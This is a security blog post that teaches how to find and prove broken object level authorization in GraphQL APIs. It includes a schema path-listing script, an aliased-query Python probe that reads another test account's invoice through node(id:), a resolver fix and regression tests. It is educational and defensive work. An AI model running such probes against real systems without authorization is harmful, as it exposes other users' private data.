In a REST API, an invoice usually lives at one URL. You test GET /invoices/1042 with a second account, and you've tested the invoice.

GraphQL doesn't work that way. The same invoice might come back from invoice(id:), from node(id:), from me { invoices }, from a search union, and from the payload of a sendInvoice mutation. Each of those is a separate resolver. The developer who added the ownership check to invoice(id:) may never have touched the other four.

So in GraphQL, broken object level authorization (BOLA, also called IDOR) is rarely "the API has no checks". It's "one path to the object has a check and another one doesn't". This post shows how to list every path to an object from the schema, test them all in one request with two test accounts, and prove the gap without touching anyone's real data.

Only do this against systems you own or are explicitly authorized to test. Every host, ID and token below is a stand-in.

What the bug actually is

OWASP puts BOLA first in the API Security Top 10 2023 (API1:2023), and one of its example scenarios is a GraphQL mutation that deletes documents by ID with no permission check. The OWASP GraphQL Cheat Sheet is more specific about where GraphQL goes wrong: enforce authorization on both edges and nodes. It also warns that node and nodes fields can let a caller fetch objects directly by ID even when nobody meant to expose that.

The node field isn't exotic. It comes from the Global Object Identification pattern documented on graphql.org (the one Relay clients use): a root node(id:) field that can refetch any object implementing the Node interface. If an app has it, every object type with an ID has a second entry point.

The official GraphQL docs explain why this goes wrong. If the ownership check is written inside one resolver, it has to be copied into every entry point, and when the copies drift, users see different data depending on which path they used. Their advice is to delegate authorization to the business logic layer, so there's a single source of truth.

That's the bug class in one sentence: the check lives on a path, not on the object.

One invoice, several paths: only one of them checks ownership. The fix routes every path through the same authorized getter.

Step 1: Find the endpoint

GraphQL APIs typically serve everything from one endpoint, so finding it is the first job. PortSwigger's Web Security Academy suggests sending a "universal query" to likely paths: /graphql, /api, /api/graphql, /graphql/api, /graphql/graphql, and the same with /v1 appended.

curl -s https://api.example.com/graphql \ -H 'Content-Type: application/json' \ -d '{"query":"query{__typename}"}' 

GraphQL reserves a __typename field that returns the name of the type being queried, so a GraphQL endpoint answers with the name of its root query type inside data. Anything else (a 404, an HTML page) means keep looking. If POST with JSON finds nothing, PortSwigger also suggests trying GET or a form-encoded POST, since some servers accept those too.

The easiest route is usually your own browser: use the app normally through a proxy and watch which endpoint the front end calls.

Step 2: Get the schema

You can't list every path to an object without the schema. Three ways to get it, in order of preference:

  1. Introspection. Probe with {"query":"{__schema{queryType{name}}}"}. If it answers, run a full introspection query (Burp can generate one, and PortSwigger's GraphQL page has the full text) and save the response as schema.json. Introspection is often left on: Apollo Server, for example, enables it by default unless NODE_ENV is set to production.
  2. Suggestions. If introspection is off, error messages may still say things like "did you mean invoiceById?". Tools like Clairvoyance use those hints to rebuild a schema.
  3. The front end. The queries the client sends, and the ones bundled in its JavaScript, give you real field names and real arguments.

Step 3: List every path to the object

This is the step people skip. Once you have schema.json, ask one question: which fields can return this type? That includes fields that return it through an interface (like Node) or a union (like a SearchResult).

This script reads an introspection response and prints every field that can hand back a given type:

"""List every field in a GraphQL schema that can hand back a given type. Usage: python paths_to.py schema.json Invoice schema.json is the JSON response of a full introspection query. """ import json import sys def named(t): # Unwrap NON_NULL / LIST wrappers down to the named type while t.get("ofType"): t = t["ofType"] return t["name"] def paths_to(schema, target): # Interfaces/unions the target belongs to (e.g. Node) also lead to it via = {target} | { t["name"] for t in schema["types"] if t["kind"] in ("INTERFACE", "UNION") and any(p["name"] == target for p in (t.get("possibleTypes") or [])) } hits = [] for t in schema["types"]: if t["name"].startswith("__") or not t.get("fields"): continue for f in t["fields"]: ret = named(f["type"]) if ret in via: args = ", ".join(a["name"] for a in f.get("args", [])) note = "" if ret == target else f" (via {ret})" hits.append(f"{t['name']}.{f['name']}({args}) -> {ret}{note}") return hits if __name__ == "__main__": data = json.load(open(sys.argv[1])) schema = data["data"]["__schema"] for line in paths_to(schema, sys.argv[2]): print(line) 

Run against a small stand-in schema, it prints:

Query.invoice(id) -> Invoice Query.node(id) -> Node (via Node) Query.search(term) -> SearchResult (via SearchResult) User.invoices(first) -> Invoice SendInvoicePayload.invoice() -> Invoice 

That's five ways to reach one invoice. The last line matters too: a mutation payload that returns the object is a path as well, so trace payload types back to the mutation that returns them (sendInvoice here). User.invoices is reachable from anywhere you can get a User, for example through an invoice's owner field. Each line is a resolver that needs its own test.

If a type uses Relay-style global IDs, check how they're built. The reference graphql-relay-js library's toGlobalId just base64-encodes Type:id. So SW52b2ljZToxMDQy decodes to Invoice:1042, and an ID that looks opaque is actually easy to guess.

Step 4: Prove it with two accounts and one aliased query

Set up two test accounts you control: A (the victim) and B (the attacker). As A, create an invoice and note its ID. As B, create one too. That second invoice is your control: if B can't read its own invoice, the token or the IDs are wrong, and none of the other results mean anything.

Then, as B, ask for A's invoice through every path in a single request. GraphQL aliases let you request the same field several times under different names, and the spec says an error in an aliased field reports the alias in its path. So you get one clear result per path:

import base64 import json import urllib.request API = "http://127.0.0.1:8765/graphql" # your lab or authorized target BOB = "Bearer tok_bob_test" # test account B (the "attacker") ALICE_INVOICE = "1042" # created by test account A BOB_INVOICE = "1077" # created by test account B def gid(type_name, raw_id): return base64.b64encode(f"{type_name}:{raw_id}".encode()).decode() # One request, one alias per path. Every path asks for the same object. QUERY = f""" query {{ control: invoice(id: "{BOB_INVOICE}") {{ id total }} direct: invoice(id: "{ALICE_INVOICE}") {{ id total }} viaNode: node(id: "{gid('Invoice', ALICE_INVOICE)}") {{ id ... on Invoice {{ total }} }} }} """ def run(query, token): req = urllib.request.Request( API, data=json.dumps({"query": query}).encode(), headers={"Content-Type": "application/json", "Authorization": token}, ) with urllib.request.urlopen(req) as resp: return resp.status, json.load(resp) status, body = run(QUERY, BOB) errors = {e["path"][0]: e["message"] for e in body.get("errors", []) if e.get("path")} print(f"HTTP {status}") if (body.get("data") or {}).get("control") is None: raise SystemExit("control failed: fix the token or IDs before reading the other results") for alias, value in (body.get("data") or {}).items(): if value is not None: verdict = "OK (own object)" if alias == "control" else "LEAK: B read A's invoice" else: verdict = f"denied ({errors.get(alias, 'null, no error')})" print(f"{alias:8} {verdict:28} {json.dumps(value)}") 

Against a local stand-in API where invoice(id:) checks ownership and node(id:) doesn't, it prints:

HTTP 200 control OK (own object) {"id": "1077", "total": 90} direct denied (Forbidden) null viaNode LEAK: B read A's invoice {"id": "1042", "total": 1200} 

Look at the first line. The whole response came back as HTTP 200, with one field denied and another leaking. The GraphQL spec allows partial results: when a field errors, execution continues, data is still present, and the error goes into errors. So the status code tells you very little. Read the result for each alias.

Add more aliases for the other paths on your list: search, me { invoices }, and a User you can reach from one of A's objects. Nested paths often need a slightly different query, but the rule doesn't change: one alias per path, same target object, plus the control.

Keep the proof clean

  • Read-only, minimal fields. Ask for id and one harmless field. Showing that total came back is enough proof. You don't need every field on the object.
  • Your objects only. Both "victim" and "attacker" are your test accounts. Never point this at a real user's ID.
  • Mutations: prove on your own data, once. If the unguarded path is a mutation (OWASP's deleteReports example), demonstrate it by having B change something A created, in a test tenant, and describe the rest in the report. Don't run destructive mutations to show scale.
  • Show both sides. The report should include the control (B reads B's invoice), the guarded path (B is denied A's invoice) and the leaking path (B gets A's invoice). Those three results together show the check exists and that a path skips it. A scanner alert saying "node field exposed" is detection. This is proof.

The fix: put the check on the object, not the path

The graphql.org guidance fixes the root cause: one function decides who can read an invoice, and every resolver that returns an invoice calls it. It doesn't matter which field the caller came through.

// invoices.mjs: the one place that decides who may read an invoice export async function getInvoice(viewer, id, db) { if (!viewer) throw new Error("UNAUTHENTICATED"); const invoice = await db.findInvoice(id); // "missing" and "not yours" look the same to the caller if (!invoice || invoice.ownerId !== viewer.id) return null; return invoice; } export async function listInvoices(viewer, ownerId, db) { if (!viewer || viewer.id !== ownerId) return []; return db.invoicesByOwner(ownerId); } 
// resolvers.mjs: every path to an Invoice goes through the getter import { getInvoice, listInvoices } from "./invoices.mjs"; function fromGlobalId(globalId) { const raw = Buffer.from(globalId, "base64").toString("utf8"); const i = raw.indexOf(":"); return { type: raw.slice(0, i), id: raw.slice(i + 1) }; } export const resolvers = { Query: { invoice: (_, { id }, ctx) => getInvoice(ctx.viewer, id, ctx.db), node: (_, { id }, ctx) => { const { type, id: rawId } = fromGlobalId(id); if (type === "Invoice") return getInvoice(ctx.viewer, rawId, ctx.db); return null; // every other Node type goes through its own authorized getter }, }, User: { invoices: (user, _args, ctx) => listInvoices(ctx.viewer, user.id, ctx.db), }, }; 

These are plain resolver functions, so you can unit-test them without starting a server. A test that calls each path as B and expects null (or an empty list) for A's invoice is the probe above turned into a regression test. That's what keeps the fix in place when someone adds a sixth path next quarter.

import assert from "node:assert/strict"; import { resolvers } from "./resolvers.mjs"; const rows = { "1042": { id: "1042", ownerId: "alice", total: 1200 }, "1077": { id: "1077", ownerId: "bob", total: 90 }, }; const db = { findInvoice: async (id) => rows[id] ?? null, invoicesByOwner: async (o) => Object.values(rows).filter((r) => r.ownerId === o), }; const bob = { viewer: { id: "bob" }, db }; const gid = (t, id) => Buffer.from(`${t}:${id}`).toString("base64"); assert.equal((await resolvers.Query.invoice(null, { id: "1077" }, bob)).total, 90); // control assert.equal(await resolvers.Query.invoice(null, { id: "1042" }, bob), null); // direct assert.equal(await resolvers.Query.node(null, { id: gid("Invoice", "1042") }, bob), null); // via node assert.deepEqual(await resolvers.User.invoices({ id: "alice" }, {}, bob), []); // A's edge console.log("all paths enforce ownership"); 

I ran these three files with Node 24 and stand-in data, and the test passes. Wiring them into your server (Apollo, Yoga or anything else) is the usual resolvers map, but I haven't run that part here.

Defense in depth, not a replacement for the check:

  • Introspection. If the API isn't meant for public use, turn introspection off in production (PortSwigger and OWASP both recommend it). In Apollo Server, make sure production really runs with NODE_ENV=production, or set introspection: false explicitly.
  • Suggestions. Apollo Server's hideSchemaDetailsFromClientErrors option strips the "did you mean" hints.
  • Query limits. Depth limits, alias limits and cost analysis stop the same aliasing trick from being used to enumerate IDs in bulk.

Hiding the schema slows an attacker down. It doesn't fix a resolver that returns someone else's invoice.

Try it yourself

Practice on targets built for it, never on a system you aren't authorized to test:

  • PortSwigger Web Security Academy: Accessing private GraphQL posts is this exact pattern: find an object the UI doesn't show and fetch it by ID. Accidental exposure of private GraphQL fields and Finding a hidden GraphQL endpoint cover steps 1 and 2.
  • Damn Vulnerable GraphQL Application (DVGA): a deliberately vulnerable GraphQL app by Dolev Farhi and co-maintainers. Run it locally with docker run -t -p 5013:5013 -e WEB_HOST=0.0.0.0 dolevf/dvga and open http://localhost:5013. Its scenarios include introspection, field suggestions and authorization bypasses.
  • Your own API: run paths_to.py on your schema for your most sensitive type. Every line it prints should have a test.

Wrapping up

In GraphQL, testing an object means testing every path to it. Get the schema, list each field that can return the type, then ask for one object you don't own through all of them in one aliased request, with a control you do own. Leave out the control and a denial on one path proves nothing. Leave out the paths and you've tested one resolver, not the object.

Further reading

I'm Krishna, a pentester and the founder of Xalgorix, an open-source AI pentester that only reports vulnerabilities it has actually exploited.

🔐 If this was useful, follow me for more hands-on web & API security write-ups.

🔗 Connect with me on LinkedIn: https://www.linkedin.com/in/xalgord/